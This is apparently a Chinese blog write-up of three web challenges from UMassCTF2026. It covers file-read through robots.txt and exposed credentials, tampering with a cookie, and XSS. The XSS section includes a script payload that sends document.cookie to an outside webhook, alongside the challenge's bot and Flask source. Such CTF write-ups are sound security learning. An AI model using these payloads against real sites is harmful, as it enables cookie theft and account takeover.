UMAssCTF2026
只做了web,只签出来三个到,我真蚌埠住了,感觉随便换一个人放在我的位置上适应一段时间都会比我做得更好
Brick by Brick
前端页面没看到什么有用的东西,然后试着访问了下/robots.txt 发现有东西
1
2
3
4
5
6
7
|
User-agent: *
Disallow: /internal-docs/assembly-guide.txt
Disallow: /internal-docs/it-onboarding.txt
Disallow: /internal-docs/q3-report.txt
# NOTE: Maintenance in progress.
# Unauthorized crawling of /internal-docs/ is prohibited.
|
在/internal-docs/it-onboarding.txt 路由下可以看到这里留了一个任意文件读
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
|
================================================================
BRICKWORKS CO. — IT ONBOARDING GUIDE
Document ID: IT-OB-2024-003
Classification: INTERNAL USE ONLY
================================================================
Welcome to the BrickWorks IT team! This document covers system
access and tooling for new employees.
----------------------------------------------------------------
SECTION 1 - DOCUMENT PORTAL
----------------------------------------------------------------
The internal document portal lives at our main intranet address.
Staff can access any file using the ?file= parameter:
----------------------------------------------------------------
SECTION 2 - ADMIN DASHBOARD
----------------------------------------------------------------
Credentials are stored in the application config file
for reference by the IT team. See config.php in the web root.
----------------------------------------------------------------
SECTION 3 - CONTACTS
----------------------------------------------------------------
IT Helpdesk: helpdesk@brickworks.internal
Sysadmin Lead: ops@brickworks.internal
================================================================
END OF DOCUMENT
================================================================
|
传?file=config.php 可以读到配置信息
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
<?php
// BrickWorks Co. — Application Configuration
// WARNING: Do not expose this file publicly!
// The admin dashboard is located at /dashboard-admin.php.
// Database
define('DB_HOST', 'localhost');
define('DB_NAME', 'brickworks');
define('DB_USER', 'brickworks_app');
define('DB_PASS', 'Br1ckW0rks_db_2024!');
// WARNING: SYSTEM IS CURRENTLY USING DEFAULT FACTORY CREDENTIALS.
// TODO: Change 'administrator' account from default password.
define('ADMIN_USER', 'administrator');
define('ADMIN_PASS', '[deleted it for safety reasons - Tom]');
// App settings
define('APP_ENV', 'production');
define('APP_DEBUG', false);
define('APP_VERSION', '1.0.3');
|
可以看到有登录界面/dashboard-admin.php
访问/dashboard-admin.php ,账户密码都是administrator,登录拿到flag
BrOWSER BOSS FIGHT
看一眼前端
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
<!DOCTYPE html>
<html>
<head>
<link rel="stylesheet" href="/css/style.css">
</head>
<body class="welcome_body">
<form action="/password-attempt" method="post", class="key-input-form" id="key-form">
<button type="submit" class="door-btn">
<img src="/images/door.png" class="door-img">
</button>
<input type="text" id="key" name="key" placeholder="Input Key" required
onkeydown="return event.key != 'Enter';">
<script>
document.getElementById('key-form').onsubmit = function() {
const knockOnDoor = document.getElementById('key');
// It replaces whatever they typed with 'WEAK_NON_KOOPA_KNOCK'
knockOnDoor.value = "WEAK_NON_KOOPA_KNOCK";
return true;
};
</script>
</form>
</body>
</html>
|
不管传什么都会被替换成WEAK_NON_KOOPA_KNOCK
抓包绕过一下,响应头里还有提示:BrOWSERS CASTLE (A note outside: "King Koopa, if you forget the key, check under_the_doormat! - Sincerely, your faithful servant, Kamek")
所以key应该是under_the_doormat发包后会重定向到/bowsers_castle.html
看一眼响应发现cookie变成了:
1
2
|
Cookie
connect.sid=s%3A_wOHuZ31XIL0NVIFshsXlpd_hdvKtYrR.D2nP1kr8%2F8Ll6N5qZQq%2BxKGnq%2BbsKQBzomPP0RpV1uc; goomba_guard_1=9b2gn; koopa_guard_1=tvvvxr; mushroom_huffing_italian_1=fq7t1k; dry_bones_1=5tp58; fruit_named_woman_1=r2c0i; goomba_guard_2=zes9ph; koopa_guard_2=9y32g; mushroom_huffing_italian_2=2173d4p; dry_bones_2=seuvic; fruit_named_woman_2=kyaxxs; goomba_guard_3=7ybrsi; koopa_guard_3=htvml7; mushroom_huffing_italian_3=ywuv7v; dry_bones_3=2ws6; fruit_named_woman_3=efe99q; goomba_guard_4=slq8u; koopa_guard…; koopa_guard_27=b2gjn7; mushroom_huffing_italian_27=bpx4o; dry_bones_27=ti9wi; fruit_named_woman_27=5tfvf; goomba_guard_28=1fxu; koopa_guard_28=1236; mushroom_huffing_italian_28=fcwib6; dry_bones_28=6t3add; fruit_named_woman_28=2vp0b; goomba_guard_29=jbb154; koopa_guard_29=pov2zw; mushroom_huffing_italian_29=ib30as; dry_bones_29=ctw8lg; fruit_named_woman_29=j6z8l; goomba_guard_30=sz0zg; koopa_guard_30=pl1yc6; mushroom_huffing_italian_30=7ct2wk; dry_bones_30=5i8yhh; fruit_named_woman_30=2vhxq; hasAxe=false
|
前端提示:I don't know how you got in, but you can't possibly defeat me! I removed the axe!
所以把cookie最后的hasAxe设成true,拿到flag
ORDER66
XSS,这次出了很多XSS,可惜我只做出了这一个最简单的
给了66个输入框,需要一个个试哪个有xss漏洞,试到之后用<script>fetch('http://your-webhook.site/?c=' + document.cookie)</script>来拿cookie,然后访问/admin,随便填一个网址加上后缀/view/你的UID/你的SEED就能拿到flag
原理:
给了源码,可以看到一个app.js和一个app.py, app.js是bot,
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
|
const puppeteer = require('puppeteer');
require('dotenv').config();
const FLAG = process.env.FLAG;
async function checkUrl(targetUrl, vulnIndex) {
const browser = await puppeteer.launch({
headless: "new",
executablePath: process.env.PUPPETEER_EXECUTABLE_PATH || 'chromium',
args: [
'--no-sandbox',
'--disable-setuid-sandbox',
'--disable-gpu',
'--disable-dev-shm-usage'
]
});
try {
const page = await browser.newPage();
page.on('console', msg => console.log(msg.text()));
const parsedUrl = new URL(targetUrl);
await page.setCookie({
name: 'flag',
value: FLAG,
domain: parsedUrl.hostname,
path: '/',
httpOnly: false,
secure: false,
sameSite: 'Lax'
});
await page.goto(targetUrl, {
waitUntil: 'domcontentloaded',
timeout: 15000
});
await new Promise(r => setTimeout(r, 5000));
} catch (e) {
} finally {
await browser.close();
}
}
if (require.main === module) {
const args = process.argv.slice(2);
if (args.length >= 2) {
checkUrl(args[0], args[1]);
}
}
|
可以看到bot从环境变量里读了flag,然后会把flag放进cookie里访问targetUrl,这里的targetUrl就是我们传的check
然后看看app.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
|
from flask import Flask, render_template, session, request
import random
import os
import redis
import uuid
import subprocess
from dotenv import load_dotenv
load_dotenv()
app = Flask(__name__)
app.secret_key = os.getenv("SECRET_KEY")
PORT = int(os.getenv('PORT'))
REDIS_HOST = os.getenv('REDIS_HOST', 'redis')
host = os.getenv('Host')
db = redis.Redis(host=REDIS_HOST, port=6379, decode_responses=True)
db.flushdb()
def get_grid_context(uid, seed):
random.seed(seed)
v_index = random.randint(1, 66)
data = {i: (db.get(f"{uid}:box_{i}") or "") for i in range(1, 67)}
return data, v_index
@app.route("/", methods=['GET', 'POST'])
def hello_world():
if 'user_id' not in session:
session['user_id'] = str(uuid.uuid4())
session['seed'] = random.randint(1000, 9999)
uid = session['user_id']
current_seed = session.get('seed', random.randint(1000, 9999))
_, current_vuln_index = get_grid_context(uid, current_seed)
current_content = db.get(f"{uid}:box_{current_vuln_index}") or ""
is_payload_present = "<script" in current_content.lower() or "alert(" in current_content.lower()
if request.method == 'POST':
submitted = [int(k.split('_')[1]) for k in request.form if k.startswith('box_') and request.form[k].strip()]
if len(submitted) > 1:
return "ERROR: Only ONE box allowed.", 400
for i in range(1, 67):
content = request.form.get(f'box_{i}')
if content and i in submitted:
db.set(f"{uid}:box_{i}", content)
if i == current_vuln_index and ("<script" in content.lower() or "alert(" in content.lower()):
is_payload_present = True
else:
db.delete(f"{uid}:box_{i}")
if not is_payload_present:
session['seed'] = random.randint(1000, 9999)
else:
session['seed'] = current_seed
seed = session['seed']
grid_data, vuln_index = get_grid_context(uid, seed)
return render_template('index.html', vuln_index=vuln_index, grid_data=grid_data, user_id=uid, seed=seed, host=host)
@app.route("/view/<uid>/<int:seed>")
def view_grid(uid, seed):
grid_data, vuln_index = get_grid_context(uid, seed)
return render_template('index.html', vuln_index=vuln_index, grid_data=grid_data, user_id=uid, seed=seed,host=host)
@app.route("/admin")
def admin_page():
return render_template('admin.html')
from urllib.parse import urlparse
@app.route("/admin/visit", methods=['POST'])
def admin_visit():
target_url = request.form.get('target_url')
if not target_url or not target_url.startswith("http://"):
return "ERROR: Invalid Domain."
# --- ADD THIS TRANSLATION LOGIC ---
try:
parsed_url = urlparse(target_url)
# In Docker, 'web' is the service name, and PORT is your env var
# This turns http://localhost:8080 into http://web:80
internal_target = target_url.replace(parsed_url.netloc, f"web:{PORT}")
parts = target_url.rstrip('/').split('/')
target_seed = int(parts[-1])
target_uid = parts[-2]
_, vuln_index = get_grid_context(target_uid, target_seed)
except Exception as e:
return f"ERROR: Parsing failed: {str(e)}"
bot_path = os.path.join(os.path.abspath(os.path.dirname(__file__)), 'app.js')
try:
process = subprocess.run(
['node', bot_path, internal_target, str(vuln_index)], # Use internal_target!
capture_output=True,
text=True,
timeout=25,
shell=False,
env=os.environ
)
# If process.stdout is empty, it usually means Node crashed
return process.stdout if process.stdout else f"Bot Error: {process.stderr}"
except Exception as e:
return f"System Error: {str(e)}"
if __name__ == "__main__":
app.run(host='0.0.0.0', port=PORT, debug=False)
|
在 /admin/visit 路由中,程序接收一个 target_url。
它会从 URL 的最后两部分解析出 target_uid 和 target_seed,并把域名替换为 Docker 内部网络地址(web:{PORT})
app.js 会带着 Flag Cookie去访问,由于没有配置 CSP,且 httpOnly 为 false,可以通过 document.cookie 直接读取 Flag
剩下题等官方WP出了有时间可能会复现(再水一篇)